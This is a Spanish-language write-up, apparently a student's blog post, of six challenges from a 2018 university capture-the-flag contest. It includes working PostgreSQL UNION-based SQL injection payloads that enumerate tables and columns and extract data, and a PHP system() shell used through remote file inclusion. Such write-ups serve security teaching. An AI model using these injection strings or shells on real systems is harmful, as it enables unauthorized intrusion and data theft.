Write Up CTF UMSS 2018

Traducciones disponibles: | "English" |

Esta es la segunda parte de la serie de CTFs rumbo al CIDSI 2018. Esta vez el CTF fue realizado en la Universidad Mayor de San Simón (UMSS), manera de eliminatorias para los que iríamos al evento(CIDSI) representando a nuestra universidad

Este CTF fue organizado por la Sociedad Científica de Estudiantes de Sistemas e Informática (SCESI-UMSS) con el apoyo de la Jefatura de Carreras de Informática y Sistemas de la Universidad Mayor de San Simón (UMSS), además de @crhystamil quien fue el que realizo los retos, muchas gracias por tan buenos retos!

Estuvo alojado en la plataforma de FBCTF, y participamos en equipo como Dark Army con Israel, Rafael y mi persona, logrando el 1er puesto, sin mas preámbulos, empecemos!

1.-

problema: ZmxhZ3tVTVNTX2VkdV9TY2VzaV9DdGZ9Cg==

solución: Algo sencillo para empezar, como podemos ver, la solucion esta en Base64

La flag es:

1flag{UMSS_edu_Scesi_Ctf}

2.-

Se muy observador y encuentra el flag para este reto.

solución: Bueno, en el problema nos da un login: captura del login Podríamos intentar mas de una forma de burlar el login, pero primero revisemos el código fuente, nos muestra que el login esta siendo verificado con Javascript:

1var _0x9045=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x6E\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x70\x61\x73\x73\x77\x6F\x72\x64","\x45\x48\x43","\x4D\x33\x52\x6F\x61\x57\x4D\x30\x62\x46\x39\x6F\x4E\x47\x4E\x72\x4D\x57\x35\x6E","\x46\x4C\x41\x47\x20\x65\x6E\x63\x6F\x6E\x74\x72\x61\x64\x61\x21\x21\x2C\x20\x69\x6E\x67\x72\x65\x73\x61\x20\x65\x6C\x20\x66\x6C\x61\x67\x20\x65\x6E\x20\x65\x6C\x20\x66\x6F\x72\x6D\x61\x74\x6F\x20\x66\x6C\x61\x67\x7B\x2E\x2E\x2E\x2E\x7D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C","\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x6C\x65\x66\x74\x20","\x20\x61\x74\x74\x65\x6D\x70\x74\x3B","\x64\x69\x73\x61\x62\x6C\x65\x64","\x73\x75\x62\x6D\x69\x74"];var attempt=3;function validate(){var _0xd22bx3=document[_0x9045[2]](_0x9045[1])[_0x9045[0]];var _0xd22bx4=document[_0x9045[2]](_0x9045[3])[_0x9045[0]];if(_0xd22bx3== _0x9045[4]&& _0xd22bx4== atob(_0x9045[5])){alert(_0x9045[6]);window[_0x9045[7]]= _0x9045[8];return false}else {attempt--;alert(_0x9045[9]+ attempt+ _0x9045[10]);if(attempt== 0){document[_0x9045[2]](_0x9045[1])[_0x9045[11]]= true;document[_0x9045[2]](_0x9045[3])[_0x9045[11]]= true;document[_0x9045[2]](_0x9045[12])[_0x9045[11]]= true;return false}}}

Sin embargo esta ofuscado, podemos buscar muchos sitios en linea para desofuscarlo y tenerlo mas comprensible:

 1var attempt = 3;
 2
 3function validate() {
 4    var _0xd22bx3 = document['getElementById']('username')['value'];
 5    var _0xd22bx4 = document['getElementById']('password')['value'];
 6    if (_0xd22bx3 == 'EHC' && _0xd22bx4 == atob('M3RoaWM0bF9oNGNrMW5n')) {
 7        alert('FLAG encontrada!!, ingresa el flag en el formato flag{....}');
 8        window['location'] = 'index.html';
 9        return false
10    } else {
11        attempt--;
12        alert('You have left ' + attempt + ' attempt;');
13        if (attempt == 0) {
14            document['getElementById']('username')['disabled'] = true;
15            document['getElementById']('password')['disabled'] = true;
16            document['getElementById']('submit')['disabled'] = true;
17            return false
18        }
19    }
20}

Podemos analizar que el username es: EHC, y el password esta oculto en Base64(atob): 3thic4l_h4ck1ng. Entonces el login nos dice que la flag es la password con el formato flag{...}:

1flag{3thic4l_h4ck1ng}

3.-

file_5e9666c7a0773f3785123f19986b4c5f

nos dan un archivo de texto, el cual contiene lo siguiente

como podemos observar, se trata de un hexdump, podriamos revertirlo con xxd:

1xxd -r file_5e9666c7a0773f3785123f19986b4c5f > myfile

el cual nos da una imagen:

output

y directamente nos da la flag

1flag{FL4g_Facil_o_Difici1}

4.-

SQLi

solución: bueno... nos dio un login con captcha de google, realmente odie este reto y ni que decir de mi equipo, gracias @crhystamil :) jejeje, pero, continuemos, claramente se trataba de hacer una inyeccion SQL, sin embargo probamos con el tipico admin:admin el cual nos daba una respuesta de Buen_Intento_Pero_EsteNo_esEl_Flag, con esto se podia deducir que era un usuario valido pero no el que buscamos.

Despues de varios intentos con sentencias MySql... probe con Postgres con admin como password, para cumplir una consulta valida por supuesto

1-' UNION ALL SELECT NULL,NULL,current_database(),NULL--

nos responde con ctf :D

Ahora continuamos intentando llamar a las tablas existentes.

1-' UNION ALL SELECT NULL,NULL,table_name,NULL FROM information_schema.tables LIMIT 1 OFFSET 0--

respuesta: users por suerte nos salta la tabla que queremos al primer intento, sin embargo, no nos deja hacer las peticiones directamente, sino mas bien encodeandola.

1users => CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115)

Lo cual seria en base ASCII.

Quedaria algo asi:

1-' UNION ALL SELECT NULL,NULL,column_name,NULL FROM information_schema.columns where table_name=CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115) LIMIT 1 OFFSET 0--

Entonces en las respuestas vamos enumerando aumentando el OFFSET, las columnas que pueden sernos utiles: id, users, pass, flag. Con esta ultima ya vamos a un solo paso de lograrla, sin embargo...

1-' UNION ALL SELECT NULL,NULL,flag,NULL FROM ctf.public.users LIMIT 1 OFFSET 29--

La respuesta se encontraba hasta el intento 29, nuevamente gracias @crhystamil.

la flag:

1DJC{Buen_Intento_esEl_Flag}

5.-

Cuidado con ejecutar todo

en este caso nos da un host en el cual esta ejecutando hasta las imagenes que tiene, lo cual es una mala practica obviamente, nos da la puerta a un RFI, asi que desde un servidor remoto tratamos de ubicar la flag con una shell rapida

1<?php
2    system(‘ls’);
3?>

el cual nos muestra los archivos en el directorio actual, en el cual existia un archivo el cual al leerlo nos daba el flag, simplemente cambiando el la URL por el archivo que lo contiene -2s3d5f6g7g549fy4nfp734lk37-

La flag:

1flag{3hc_gr0up_h4ck1ng_Dragonjar}

6.-

análisis de firmware

nos dan una imagen para analizarla: open-hacking_151b4da179e4163e7e879da22e0c76e2.bin

La cual podremos analizarla para extraer los archivos que contenga con Binwalk

1binwalk -Me open-hacking_151b4da179e4163e7e879da22e0c76e2.bin

Entonces podemos analizar, y conseguimos la flag:

1bandera{43320192606d672bf0db1280026c799902f03bdd}

creo que eso seria :D sin embargo no son todos los problemas, no pudimos completarlos :( y gracias a @crhystamil! por preparar este divertido CTF :D

el siguiente write up es el de CIDSI!

-Hackers are People Too 😜

links de la Serie